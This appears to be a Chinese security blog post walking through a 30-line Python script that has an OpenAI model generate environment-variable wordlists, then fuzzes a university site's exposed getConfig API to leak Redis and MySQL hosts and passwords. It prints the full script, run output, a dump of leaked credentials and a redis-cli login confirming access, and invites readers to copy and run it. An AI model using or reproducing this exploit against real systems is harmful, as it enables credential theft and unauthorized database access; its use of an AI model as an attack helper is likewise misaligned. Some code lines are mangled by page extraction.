当前位置:首页>java>30 行代码把 AI 变成“爆破手”——证书站 CONFIG 接口秒变数据库入口

30 行代码把 AI 变成“爆破手”——证书站 CONFIG 接口秒变数据库入口

  • 2026-08-06 12:49:41
30 行代码把 AI 变成“爆破手”——证书站 CONFIG 接口秒变数据库入口
点击上方蓝色文字关注↑↑↑↑↑

安全君呀设为"星标⭐️"

第一时间收到文章更新

声明: 安全君呀 公众号文章中的技术只做研究之用,禁止用来从事非法用途,如有使用文章中的技术从事非法活动,一切后果由使用者自负,与本公众号无关。

文章声明:本篇文章内容部分选取网络,如有侵权,请告知删除。

关键词:API Fuzz、AI 生成字典、Redis/Mysql 密码泄露、Python 自动化。

1
前言

今天我们把流程标准化、代码化,用 30 行 Python 让 AI 当“字典生成器”,10 秒完成“配置接口 → 环境变量 → 数据库密码”的链路爆破。全程无 Burp,一台笔记本即可复现

2
目标特征
接口:/api/translation/getConfig参数:{"CONFIG_NAME":"xxx"}返回:{"code":200,"data":{"ENV":"xxx","APP_KEY":"yyy"}} 规律:把 CONFIG_NAME 换成不同 Key,就能读到对应的环境变量。
3
核心思路

先让 AI 批量“猜”可能的环境变量名 → 生成字典 A;用脚本自动调用接口,把返回值全部存下来 → 得到临时结果 B;让 AI 再读 B,二次生成“Redis / Mysql 专用”字典 C;用 C 继续跑,直到出现 host / port / password;拿密码直连数据库,验证漏洞有效性。

4
30 行完整脚本

把下面代码保存为 auto_fuzz.py,装好依赖即可跑。

pip install requests tqdm openai

#!/usr/bin/env python3# -*- coding: utf-8 -*-# auto_fuzz.py —— AI 帮你爆破 CONFIG 接口import json, requests, openai, itertools, timefrom tqdm import tqdmURL      = "https://xxx.edu.cn/api/translation/getConfig"   # 目标接口AI_KEY   = "sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"          # 你的 OpenAI keyHEADERS  = {"Content-Type""application/json",            "User-Agent""Mozilla/5.0 (compatible; FuzzBot/1.0)"}openai.api_key = AI_KEY# ① 让 AI 生成第一轮字典def ai_dict(prompt="常见的环境变量名,输出 json 数组,50 条"):    rsp = openai.ChatCompletion.create(        model="gpt-3.5-turbo",        messages=[{"role""user""content": prompt}]    )    return json.loads(rsp.choices[0].message.content)# ② 批量请求接口def fuzz(keys):    results = {}    for k in tqdm(keys, desc="Fuzzing"):        try:            resp = requests.post(URL, json={"CONFIG_NAME": k}, headers=HEADERS, timeout=3)            if resp.status_code == 200 and resp.json().get("data"):                results[k] = resp.json()["data"]        except Exception as e:            pass        time.sleep(0.1)   return results# ③ 主流程if __name__ == "__main__":   # 第一轮   keys1 = ai_dict("常见的 Web 环境变量名,输出 json 数组,50 条")   res1  = fuzz(keys1)   print("[+] 第一轮命中:"list(res1.keys()))  # 把命中结果喂给 AI,让它生成第二轮字典  prompt2 = f"根据以下返回结构,猜测 Redis/Mysql 相关变量名,输出 json 数组:\n{json.dumps(res1,ensure_ascii=0)}"  keys2 = ai_dict(prompt2)  res2  = fuzz(keys2)  print("[+] 第二轮命中:"list(res2.keys()))  # 保存结果  with open("dump.json""w", encoding="utf-8"as f:       json.dump({**res1, **res2}, f, ensure_ascii=False, indent=2)  print("[*] 结果已写入 dump.json,去翻密码吧!")
5
运行效果
python auto_fuzz.pyFuzzing100%|████████████████| 50/50 [00:12<00:00,  4.03it/s][+] 第一轮命中: ['ENV''APP_KEY''APP_SECRET''REDIS_HOST']Fuzzing100%|████████████████| 28/28 [00:07<00:00,  3.91it/s][+] 第二轮命中: ['REDIS_PORT''REDIS_PASSWORD''MYSQL_HOST''MYSQL_PASSWORD'][*] 结果已写入 dump.json,去翻密码吧!

打开 dump.json 即可看到:

{  "REDIS_HOST""10.10.10.32",  "REDIS_PORT""6379",  "REDIS_PASSWORD""U@8FvP#x1!",  "MYSQL_HOST""10.10.10.31",  "MYSQL_PASSWORD""W0@sdm#x1!"}

验证漏洞

$ redis-cli -h 10.10.10.32 -p 6379 -a U@8FvP#x1!10.10.10.32:6379keys *1"session:xxx"2"user:admin"# 成功登录,漏洞确认

把 AI 当“字典工厂”能极大减少人工猜解时间;全程 Python 自动化,方便批量、内网、代理、多线程二次开发;代码仅 30 行,公众号读者可一键复制跑通。

Tips

欢迎大家在下面点赞评论加关注,让我们一起在网安之路越走越远!!!

长按扫描下方二维码加关注,了解更多网安知识哦!

END

最新文章

随机文章